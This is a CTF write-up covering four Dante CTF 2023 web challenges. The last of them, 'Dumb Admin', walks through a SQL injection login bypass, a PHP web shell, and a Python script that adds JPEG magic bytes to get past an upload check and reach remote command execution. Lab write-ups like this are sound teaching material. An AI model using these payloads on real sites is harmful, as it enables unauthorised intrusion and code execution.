Dante CTF Writeups - Web

Writeups of the Dante CTF 2023 - WEB

 

WEB

Unknown Site 1

🏆 Challenge Description

Just a web warmup challenge to keep the bots away. Enjoy it.


Unknown site main page

The page shows an image. The image refers to Google and shows a robot as a hint. Robots file is very important for a search engine. It is a file located on a server which indicates which file the search engine can show on the internet and can access to in order to crawl and collect info about the website.

🏁 DANTE{Yo0_Must_B3_A_R0boTtTtTtTTtTAD6182_0991847}

 

 

Unknown Site 2

🏆 Challenge Description

Now that you completed the Warmup, you need to get the hidden second flag on the same site.


After completing the challenge above, Unknown Site 1, we can see some more info in the file robots.txt:

  • The first flag
  • Some other directories

Visiting the first directory (s3cretDirectory1) gives us the following result:

Hello There User!

Poking around with headers we can find a cookie named FLAG with value NOPE. Trying to access s3cretDirectory2 gives us a similar result. Visiting s3cretDirectory3 instead, returns a list of php pages saved in that directory.

Example:

0aI4CRUqFVn5vTWQsoNZhFvKcGg7i6e3.php
0akStEOWq118z6EroRWoLIdAJ2gRntAa.php
0BmZPSmQaQ4AoYsKhDdH3U5B47dRQKqf.php
0BRUlCClTlqglOMCcfI8ehGd5u2dY8x8.php
0D33rdk9NREOX1raB4AJLyQicNqhROI7.php
0gUxhSv85tdnmcjbjxMkotMUE3Eq8s3h.php
00i8HTSHh9okcnuoIrIxErhAjSe1gKQa.php
0IUOyATG24VDSpHI9PNxQGJrz8iqaINl.php
0Jc7BSRx6Is10vu0oCrjn9D99kfM6MjI.php

Clicking on pages, you will get always the same result:

Hello There User!

And the cookie with name FLAG value NOPE is still present. The solution is to write a small script to crawl all the PHP files and check all the FLAG cookies in order to get the flag.

import requests as r
from bs4 import BeautifulSoup
import re

response = r.get('http://localhost:5757/s3cretDirectory3/')
soup = BeautifulSoup(response.text, features="html.parser")

for a in soup.find_all('a', href=True):
    if re.match("[a-zA-Z0-9]{32}", a['href']):
        request2 = r.get('http://localhost:5757/s3cretDirectory3/' + a['href'])
        if a['href'] != "index.php" and request2.cookies.get_dict()['FLAG'] != "NOPE":
            print("Found flag in page: " + a['href'])
            print(request2.cookies.get_dict())
            break

🏁 DANTE{Rand0m_R3al_C00ki3_000912_24}

 

 

Dante Barber Shop

🏆 Challenge Description

Welcome to our renowned barber shop! Your task, should you choose to accept it, is to uncover hidden information and retrieve the sensitive data that the owners may have left around.


To begin, you’ll need to navigate through the website and explore the various pages. Pay close attention to the details provided, as they may contain clues or hidden information. In particular, the challenge hints that the credentials can be found in the barber1.jpg image.

Once you’ve successfully discovered the credentials hidden within the barber1.jpg image, you can proceed to the login page. Use the obtained username and password to log in as a barber user. You will be granted access to the admin page, where you can perform further actions.

 

 

Dumb Admin

🏆 Challenge Description

The Admin coded his dashboard by himself. He’s sure to be a pro coder and he’s so satisfied about it. Can you make him rethink that?


Dumb Admin main page

We’re prompted on an admin panel login. The first thing you should try on an input is to attempt a SQL Injection especially on Admin panels because the first row in the database will most probably be the row which contains admin info such as username, password … For now we can try to access by typing something random:

username: admin
password: admin

What we get from the page is: Invalid password format. So for some reason we need to put a more secure password in the login too, we will proceed by using as password Som3PasswoRd3%.

Trying:

username: admin
password: Som3PasswoRd3%

we get Username or password wrong.

So let’s try to inject something like ' in the username to interrupt an SQL Syntax of a query.

username: '
password: Som3PasswoRd3%

What we get is a strange error:

SQLite3::query(): Unable to prepare statement: 1: near "' AND password = '": syntax error

This seems to be a classical error for a SQL injection.

If instead we try to inject a good query adding a comment too:

username: ' -- comment
password: Som3PasswoRd3%

This time we get again Username or password wrong. We can try to inject the most basic kind of SQL injection known which is ' or 1=1 – comment (Logic SQL injection) to let the backend retrieve the administrator’s row since admin is often the first registered user in a database.

username: ' or 1=1 -- comment
password: Som3PasswoRd3%

Admin dashboard

The page allows us to upload an image. The first thing to do is to please the form and upload an image within (2 KB). Take a small screenshot of something of a few bytes and try to upload it.

What we got is a generated hash with my file extension:

The image 7b44dc6bbcfb8d457453656ae33181d7.png has been uploaded!
You can view it here: Click here

Clicking the link we can see the image:

Image upload

By clicking it, we can see the image rendered by the browser since we’re accessing it directly.

So this must be a way to execute something that we can upload with the previous image form.

Since we’re working with PHP (you can clearly see it from link extensions, for example: dashboard.php), we can build a PHP script to execute some code on the remote server:

<?php system($_GET['cmd']); ?>

and we save it in a file called shell.php.

Let’s try to upload it.

An error occurs:

The extension '.php' indicate it is not an image!

There is a check on the file extension. The most basic bypass for an extension is to add a fake extension and appending .php extension anyway. You can find some payloads here: https://book.hacktricks.xyz/pentesting-web/file-upload.

Let’s try to modify the name of the file from shell.php to shell.png.php. It seems to work, since we get a different error from the page:

Uploaded file seems to be not a real image!

After a bit of research, you can notice a strange response header that is set:

Magic-Function-Used-By-The-Page: exif_imagetype

This is a tip about what backend is running. Let’s take a look at what exif_imagetype is. From the PHP manual https://www.php.net/manual/en/function.exif-imagetype.php, we can get some info.
exif_imagetype() reads the first bytes of an image and checks its signature.

So if such a built-in function is used, we can easily bypass it by adding some Magic bytes at the beginning of our file shell.png.php. Of course, we will still try to inject PHP code to achieve an RCE. To do so, we can build a simple python script that does the work:

outputFile = "shell.png.php"

shell = b"<?php system($_GET['cmd']); ?>"

with open(outputFile,"wb") as f:
    f.write(b"\xff")
    f.write(b"\xd8")
    f.write(b"\xff")
    f.write(b"\xee")
    f.write(shell)

print("Content of the exported file: ")

lines = []
with open(outputFile,"rb") as f:
    lines = f.readlines()

print(lines)

ffd8ffee are the first bytes in a jpg image. Now finally we can try to upload the file again.

And here we go!

The image 826eca1e5af937d67e30584b422f8d12.png.php has been uploaded!
You can view it here: Click here

Clicking the link, we can do the same thing as before and access the direct link of the uploaded PHP file. In my case, it is urlbefore…/f9bbbecb61014db8f0674bf60c27e668/826eca1e5af937d67e30584b422f8d12.png.php.

Now we can finally get the flag by requesting the page with a GET parameter set as cmd, to retrieve the flag executing a cat.

.../f9bbbecb61014db8f0674bf60c27e668/826eca1e5af937d67e30584b422f8d12.png.php?cmd=cat+/flag.txt

🏁 DANTE{Y0u_Kn0w_how_t0_bypass_things_in_PhP9Abd7BdCFF}